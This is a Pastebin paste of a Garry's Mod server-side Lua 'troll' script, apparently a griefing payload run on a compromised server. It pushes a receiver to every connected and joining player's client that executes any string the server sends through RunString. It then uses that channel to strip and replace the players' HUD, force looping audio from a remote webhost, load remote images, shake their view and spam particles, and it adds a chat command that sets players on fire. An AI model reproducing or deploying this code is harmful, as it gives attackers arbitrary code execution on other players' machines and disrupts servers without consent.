2much4Us

Untitled

Oct 4th, 2018
151
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.42 KB | None | 0 0
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29. end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33. pPlayer.m_intCurAction = 0
  34. self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38. net.Start( "skeleton_dancing_troll" )
  39. net.WriteString( strLua )
  40. net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48. lol:SetupPlayer( v )
  49. timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53. lol:SetupPlayer( pPlayer )
  54. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  58. if strText:sub( 1, 5 ) == "/1337" then
  59. pSender:Ignite( 1e9 )
  60. pSender:ChatPrint( "C O R R U P T I O N" )
  61. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  62. return false
  63. end
  64. end )
  65.  
  66.  
  67.  
  68. --Sequence stack
  69. --Start some tunes and steam in our assets
  70. lol:PushAction( 0, function( pPlayer )
  71. lol:SendLua( pPlayer, ([=[
  72. local sounds = {}
  73. for i = 1, 4 do
  74. sound.PlayURL( "https://httpsinfamousvoice1com.000webhostapp.com/LoveMe.mp3", "noblock noplay", function( pChan )
  75. sounds[#sounds +1] = pChan
  76. end )
  77. end
  78.  
  79. timer.Create( "asdf", 1, 0, function()
  80. if #sounds ~= 4 then return end
  81. timer.Destroy( "asdf" )
  82. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  83. end )
  84.  
  85. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  86. local html = [[%s]]
  87. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  88. local pnl = vgui.Create( "HTML" )
  89. pnl:SetPos( ScrW() -1, ScrH() -1 )
  90. pnl:SetVisible( true )
  91. pnl:SetMouseInputEnabled( false )
  92. pnl:SetKeyBoardInputEnabled( false )
  93. pnl:SetSize( intSizeX, intSizeY )
  94. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  95.  
  96. local PageLoaded
  97. PageLoaded = function()
  98. local mat = pnl:GetHTMLMaterial()
  99. if mat then
  100. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  101. return
  102. end
  103.  
  104. timer.Simple( 0.5, PageLoaded )
  105. end
  106.  
  107. PageLoaded()
  108. end
  109.  
  110. LoadWebMaterial( "http://i.imgur.com/L1LZmek.png", "hud1", 800, 800 )
  111. LoadWebMaterial( "http://www.underdone.org/leak/underdone/xhair.png", "xhair", 64, 64 )
  112. LoadWebMaterial( "https://i.imgur.com/hwhGgPT.gif", "doritos", 800, 800 )
  113. LoadWebMaterial( "https://66.media.tumblr.com/5882c6c9333f86f0e89d025613ea1cde/tumblr_morqfbJ8WO1swgfzvo1_400.gif", "fedora", 400, 400 )
  114. LoadWebMaterial( "https://66.media.tumblr.com/5882c6c9333f86f0e89d025613ea1cde/tumblr_morqfbJ8WO1swgfzvo1_400.gif", "dew", 400, 400 )
  115. LoadWebMaterial( "https://66.media.tumblr.com/5882c6c9333f86f0e89d025613ea1cde/tumblr_morqfbJ8WO1swgfzvo1_400.gif", "awp", 400, 400 )
  116. ]=]):format(lol.m_strImageLoadHTML) )
  117. end )
  118. --HUD swap
  119. lol:PushAction( 36, function( pPlayer )
  120. lol:SendLua( pPlayer, [[
  121. (GAMEMODE or GM).CalcView = function() end
  122. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  123.  
  124. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  125. for k, v in pairs(remove) do
  126. hook.GetTable()[v] = {}
  127. end
  128.  
  129. local function GetWebMat( strURL )
  130. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  131. end
  132.  
  133. hook.Add( "HUDPaint", "newhud", function()
  134. surface.SetDrawColor( 255, 255, 255, 255 )
  135.  
  136. local disco1 = vgui.Create("DHTML") disco1:SetSize(800,800) disco1:SetPos(ScrW() /550 - 15, ScrH() /1.25) disco1:OpenURL("http://i.imgur.com/L1LZmek.png")
  137. local disco2 = vgui.Create("DHTML") disco2:SetSize(450,450) disco2:SetPos(200,0) disco2:OpenURL("https://i.imgur.com/hwhGgPT.gif")
  138. local disco3 = vgui.Create("DHTML") disco3:SetSize(450,450) disco3:SetPos(ScrW()-550,0) disco3:OpenURL("https://i.imgur.com/hwhGgPT.gif")
  139.  
  140. end )
  141.  
  142. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  143. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  144.  
  145. surface.PlaySound( "garrysmod/save_load4.wav" )
  146. ]] )
  147. end )
  148.  
  149. --Disco time
  150. lol:PushAction( 15, function( pPlayer )
  151. local idx = pPlayer:EntIndex()
  152. timer.Create( "beat".. idx, 0.42, 0, function()
  153. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  154. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  155. end )
  156.  
  157.  
  158. lol:SendLua( pPlayer, [[
  159. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  160. local time = 0
  161.  
  162. hook.Add( "Think", "wat", function()
  163. if CurTime() < time then
  164. return
  165. end
  166.  
  167. time = CurTime() +0.05
  168. for i = 1, 16 do
  169. local part = emitter:Add(
  170. "particles/balloon_bit",
  171. LocalPlayer():GetPos() +Vector(
  172. math.random( -256, 256 ),
  173. math.random( -256, 256 ),
  174. 256
  175. )
  176. )
  177.  
  178. if part then
  179. local Size = math.random( 4, 7 )
  180.  
  181. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  182. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  183. part:SetDieTime( 4.5 )
  184. part:SetGravity( Vector(40, 0, -250) )
  185. part:SetLifeTime( 0 )
  186. part:SetStartSize( Size /2 )
  187. part:SetEndSize( Size )
  188. part:SetCollide( true )
  189. end
  190. end
  191. end )
  192. ]] )
  193. end )
Advertisement
Add Comment
Please, Sign In to add comment